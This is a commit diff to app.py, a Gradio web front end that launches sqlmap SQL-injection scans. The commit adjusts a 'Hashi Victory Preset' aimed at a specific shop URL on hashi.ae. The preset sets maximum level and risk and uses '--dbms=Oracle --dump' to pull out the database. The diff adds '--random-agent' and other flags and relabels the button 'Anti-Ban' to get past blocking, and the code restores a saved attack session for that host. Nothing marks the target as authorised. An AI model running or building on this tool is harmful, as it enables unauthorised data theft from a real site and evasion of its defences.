AlphaWolf
commited on
Commit
Β·
1c6f798
1
Parent(s):
a0dc135
Fix SSL Cloud: Add --force-ssl --unstable --random-agent
Browse files
app.py
CHANGED
|
@@ -7,23 +7,15 @@ from pathlib import Path
|
|
| 7 |
# --- Session Restoration Logic ---
|
| 8 |
def restore_session():
|
| 9 |
# SQLMap in Docker uses /root/.local/share/sqlmap/output/
|
| 10 |
-
# We need to calculate the target directory based on the hostname (hashi.ae)
|
| 11 |
-
# or just copy to the most likely path.
|
| 12 |
-
|
| 13 |
session_source = "session.sqlite"
|
| 14 |
-
|
| 15 |
-
# Target directory used by SQLMap (detected from logs)
|
| 16 |
target_base = Path("/root/.local/share/sqlmap/output/hashi.ae")
|
| 17 |
|
| 18 |
if os.path.exists(session_source):
|
| 19 |
try:
|
| 20 |
-
# Create the directory if it doesn't exist
|
| 21 |
target_base.mkdir(parents=True, exist_ok=True)
|
| 22 |
-
|
| 23 |
-
# Copy the session file
|
| 24 |
shutil.copy(session_source, target_base / "session.sqlite")
|
| 25 |
|
| 26 |
-
# Also try the www. variant
|
| 27 |
target_www = Path("/root/.local/share/sqlmap/output/www.hashi.ae")
|
| 28 |
target_www.mkdir(parents=True, exist_ok=True)
|
| 29 |
shutil.copy(session_source, target_www / "session.sqlite")
|
|
@@ -41,7 +33,7 @@ def run_sqlmap(url, threads, level, risk, tamper, techn, proxy, extra_args):
|
|
| 41 |
yield f"{session_status}\nβ Error: Target URL is required."
|
| 42 |
return
|
| 43 |
|
| 44 |
-
# Base command
|
| 45 |
cmd = ["python3", "/app/sqlmap-dev/sqlmap.py", "-u", url, "--batch"]
|
| 46 |
|
| 47 |
# Performance & Level
|
|
@@ -86,12 +78,13 @@ def run_sqlmap(url, threads, level, risk, tamper, techn, proxy, extra_args):
|
|
| 86 |
yield f"β Fatal Error: {str(e)}"
|
| 87 |
|
| 88 |
# Pre-filled shortcuts
|
|
|
|
| 89 |
def set_hashi_victory():
|
| 90 |
return (
|
| 91 |
"https://hashi.ae/shop/page/4/?add-to-cart=638",
|
| 92 |
10, 5, 3,
|
| 93 |
"", "U", "",
|
| 94 |
-
"--dbms=Oracle --dump"
|
| 95 |
)
|
| 96 |
|
| 97 |
with gr.Blocks(theme=gr.themes.Soft(primary_hue="blue", secondary_hue="slate")) as demo:
|
|
@@ -117,7 +110,7 @@ with gr.Blocks(theme=gr.themes.Soft(primary_hue="blue", secondary_hue="slate"))
|
|
| 117 |
|
| 118 |
with gr.Row():
|
| 119 |
btn_run = gr.Button("π₯ START SCAN", variant="primary")
|
| 120 |
-
btn_hashi = gr.Button("π° Hashi Victory Preset", variant="secondary")
|
| 121 |
btn_stop = gr.Button("π STOP", variant="stop")
|
| 122 |
|
| 123 |
with gr.Column(scale=3):
|
|
|
|
| 7 |
# --- Session Restoration Logic ---
|
| 8 |
def restore_session():
|
| 9 |
# SQLMap in Docker uses /root/.local/share/sqlmap/output/
|
|
|
|
|
|
|
|
|
|
| 10 |
session_source = "session.sqlite"
|
|
|
|
|
|
|
| 11 |
target_base = Path("/root/.local/share/sqlmap/output/hashi.ae")
|
| 12 |
|
| 13 |
if os.path.exists(session_source):
|
| 14 |
try:
|
|
|
|
| 15 |
target_base.mkdir(parents=True, exist_ok=True)
|
|
|
|
|
|
|
| 16 |
shutil.copy(session_source, target_base / "session.sqlite")
|
| 17 |
|
| 18 |
+
# Also try the www. variant
|
| 19 |
target_www = Path("/root/.local/share/sqlmap/output/www.hashi.ae")
|
| 20 |
target_www.mkdir(parents=True, exist_ok=True)
|
| 21 |
shutil.copy(session_source, target_www / "session.sqlite")
|
|
|
|
| 33 |
yield f"{session_status}\nβ Error: Target URL is required."
|
| 34 |
return
|
| 35 |
|
| 36 |
+
# Base command
|
| 37 |
cmd = ["python3", "/app/sqlmap-dev/sqlmap.py", "-u", url, "--batch"]
|
| 38 |
|
| 39 |
# Performance & Level
|
|
|
|
| 78 |
yield f"β Fatal Error: {str(e)}"
|
| 79 |
|
| 80 |
# Pre-filled shortcuts
|
| 81 |
+
# UPDATED: Added --force-ssl --unstable --random-agent --no-cast
|
| 82 |
def set_hashi_victory():
|
| 83 |
return (
|
| 84 |
"https://hashi.ae/shop/page/4/?add-to-cart=638",
|
| 85 |
10, 5, 3,
|
| 86 |
"", "U", "",
|
| 87 |
+
"--dbms=Oracle --dump --force-ssl --unstable --random-agent --no-cast"
|
| 88 |
)
|
| 89 |
|
| 90 |
with gr.Blocks(theme=gr.themes.Soft(primary_hue="blue", secondary_hue="slate")) as demo:
|
|
|
|
| 110 |
|
| 111 |
with gr.Row():
|
| 112 |
btn_run = gr.Button("π₯ START SCAN", variant="primary")
|
| 113 |
+
btn_hashi = gr.Button("π° Hashi Victory Preset (Anti-Ban)", variant="secondary")
|
| 114 |
btn_stop = gr.Button("π STOP", variant="stop")
|
| 115 |
|
| 116 |
with gr.Column(scale=3):
|